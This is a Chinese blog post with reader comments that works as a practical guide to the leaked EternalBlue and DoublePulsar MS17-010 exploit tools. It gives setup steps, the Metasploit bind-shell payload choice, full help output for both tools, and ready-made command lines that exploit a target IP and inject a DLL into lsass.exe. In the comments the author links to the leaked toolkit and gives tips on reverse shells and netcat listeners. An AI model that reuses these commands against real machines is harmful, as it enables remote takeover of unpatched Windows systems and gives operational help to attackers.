MS17-010 Exploit

作者: Luan 分类: 学习笔记 发布时间: 2017-04-18 15:47

从方程式组织的工具包里面抠出来的。
测试了32位XP和64位Win7成功。

是的。如你所见,这个exp是一键getshell。也可以替换掉目录下的luan32.dll或者luan64.dll实现别的功能,默认是开启6666端口绑定shell,然后调用netcat去连接。

顺带记录下这里走的一些弯路。我是用msf来生成这两个dll的。一开始我是写的:

windows/shell/bind_tcp

结果发现死活连不上,后来仔细一看msf的介绍,原来要用另一个才能直接用netcat去连接。

windows/shell_bind_tcp

他们的区别就是前者比较小,只打开端口等msf连上去给他发送shellcode,所以用netcat是连不了的。下面这个shell_bind_tcp就可以直接用netcat链接。

 

最后再说下用法把:

在那个目录打开CMD:

ms17-010 192.168.2.200 WIN72K8R2 x64

第一个参数是IP

第二个参数是系统。2个选项:XP或者WIN72K8R2

第三个参数也是2个选项:x64或者x86

 

==================经过各种考虑决定不公开我修改后的exp

 

但是如果是这样,那么观众们都要打死我了。。

说下我的思路,懂的人自己就可以弄好这个小工具了。

把工具包里\lib\x86-Windows目录下的dll文件拷贝到\windows\specials目录下,

然后把Eternalblue-2.2.0.0.xml文件重命名成Eternalblue-2.2.0.xml,

然后就可以在CMD下运行Eternalblue-2.2.0了。

C:\luan\ms17-010>Eternalblue-2.2.0.exe --help
Eternalblue 2.2.0
Usage: Eternalblue-2.2.0.exe
Options:
--NetworkTimeout S16 (default: 60)
Timeout for blocking network calls (in seconds). Use -1 for no timeout.
--TargetIp IPv4
Target IP Address
--TargetPort TcpPort (default: 445)
Port used by the SMB service for exploit connection
--VerifyTarget Boolean (default: true)
Validate the SMB string from target against the target selected before exp
loitation.
--VerifyBackdoor Boolean (default: true)
Validate the presence of the DOUBLE PULSAR backdoor before throwing. This
option must be enabled for multiple exploit attempts.
--MaxExploitAttempts U32 (default: 3)
Number of times to attempt the exploit and groom. Disabled for XP/2K3.
--GroomAllocations U32 (default: 12)
Number of large SMBv2 buffers (Vista+) or SessionSetup allocations (XK/2K3
) to do.
[--LogFile String]
Where to write log file
--OutConfig String (default: stdout)
Where to write output parameters file
--ValidateOnly Boolean (default: false)
Stop execution after parameter validation
--Target Choice
Operating System, Service Pack, and Architecture of target OS
XP
Windows XP 32-Bit All Service Packs
WIN72K8R2
Windows 7 and 2008 R2 32-Bit and 64-Bit All Service Packs

C:\luan\ms17-010>


同理还有Doublepulsar-1.3.1.exe:

C:\luan\ms17-010>Doublepulsar-1.3.1.exe --help
Doublepulsar 1.3.1
Usage: Doublepulsar-1.3.1.exe
Options:
--NetworkTimeout S16 (default: 60)
Timeout for blocking network calls (in seconds).  Use -1 for no timeout.
--TargetIp IPv4
Target IP Address
--TargetPort TcpPort (default: 445)
Port used by the Double Pulsar back door
[--LogFile String]
Where to write log file
--OutConfig String (default: stdout)
Where to write output parameters file
--ValidateOnly Boolean (default: false)
Stop execution after parameter validation
--Protocol Choice (default: SMB)
Protocol for the backdoor to speak
SMB
Ring 0 SMB (TCP 445) backdoor
RDP
Ring 0 RDP (TCP 3389) backdoor
--Architecture Choice (default: x86)
Architecture of the target OS
x86
x86 32-bits
x64
x64 64-bits
--Function Choice (default: OutputInstall)
Operation for backdoor to perform
OutputInstall
Only output the install shellcode to a binary file on disk.
--OutputFile String
Full path to the output file
Ping
Test for presence of backdoor
RunDLL
Use an APC to inject a DLL into a user mode process.
--DllPayload LocalFile
DLL to inject into user mode
--DllOrdinal U32 (default: 1)
The exported ordinal number of the DLL being injected to call
--ProcessName String (default: lsass.exe)
Name of process to inject into
--ProcessCommandLine String (default: )
Command line of process to inject into
RunShellcode
Run raw shellcode
--ShellcodeFile LocalFile
Full path to the file containing shellcode
--ShellcodeData LocalFile
Full path to the file containing shellcode to run
Uninstall
Remove's backdoor from system

C:\luan\ms17-010>

 

============================20170420更新================================

懒得去看说明的人,我发下直接使用的方法:

Eternalblue-2.2.0.exe --TargetIp 目标IP地址 --Target 目标操作系统(XP或者WIN72K8R2) --DaveProxyPort=0 --NetworkTimeout 60 --TargetPort 445 --VerifyTarget True --VerifyBackdoor True --MaxExploitAttempts 3 --GroomAllocations 12 --OutConfig 1.txt
Doublepulsar-1.3.1.exe --OutConfig 2.txt --TargetIp 目标IP地址 --TargetPort 445 --DllPayload 要加载的DLL --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture 操作系统多少位的(x86或者x64) --Function Rundll

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

13条评论
  • tes

    2017年6月19日 上午3:48

    这工具有办法直接在windows上控制远端shell吗?

    1. Luan

      2017年6月19日 上午5:24

      本来就不需要用linux。dll直接用反弹shell,或者正向shell。不过现在因为勒索病毒,大多都已经打补丁了。

  • saa

    2017年5月20日 下午12:23

    那个 set name xx 老是失败那些教程真的啃爹

  • 木木

    2017年5月7日 下午4:32

    大神,请问有办法在win下监听么?感觉再开Lin不太方便

    1. Luan

      2017年5月8日 上午9:27

      使用反弹shell的模块,直接弹shell回来,用nc监听就可以了。或者直接用我文章里说的正向连接的shell来监听端口,然后用nc连接。

  • 烟草迷恋

    2017年5月2日 上午1:21

    大神,连下载地址都省略啦?能给个下载地址吗

    1. Luan

      2017年5月2日 上午9:15

      https://codeload.github.com/x0rz/EQGRP_Lost_in_Translation/zip/master

  • 刘浩

    2017年4月29日 上午12:55

    能只用一台kali达到攻击的目的吗?仅用一台kali。
    我在吐司论坛上看到有人发了文章成功了,但是我照着做总是提示创建会话失败……
    大神能帮我解决下不?送个大红包,O(∩_∩)O

    1. Luan

      2017年4月29日 上午9:55

      反弹shell的时候创建会话失败还上使用Exploit 的时候创建会话失败?
      使用Exploit 的时候失败可能是目标开启了防火墙,屏蔽了445端口,建议先自己搭建环境测试测试。
      另外国内运营商屏蔽了外网的445端口,所以在国内公网是测试几乎是不可能成功的。
      如果是反弹shell失败注意检查下是使用的x64还是x86,MSF监听的和反弹回来的要一致。

  • Lensual

    2017年4月20日 上午10:52

    把lib加入了环境变量发现启动不了Orz。后来发现自己加的是x64的dll,exe应该是x86的当然有问题了。XD

  • 小彩笔邦

    2017年4月18日 下午5:21

    这个应该和刚出的那个GUI 版本的是一样的吧

    1. Luan

      2017年4月18日 下午5:26

      原理是一样的。

  • 离心

    2017年4月18日 下午3:52

    不懂 滚。再问打素你。

Luan进行回复 取消回复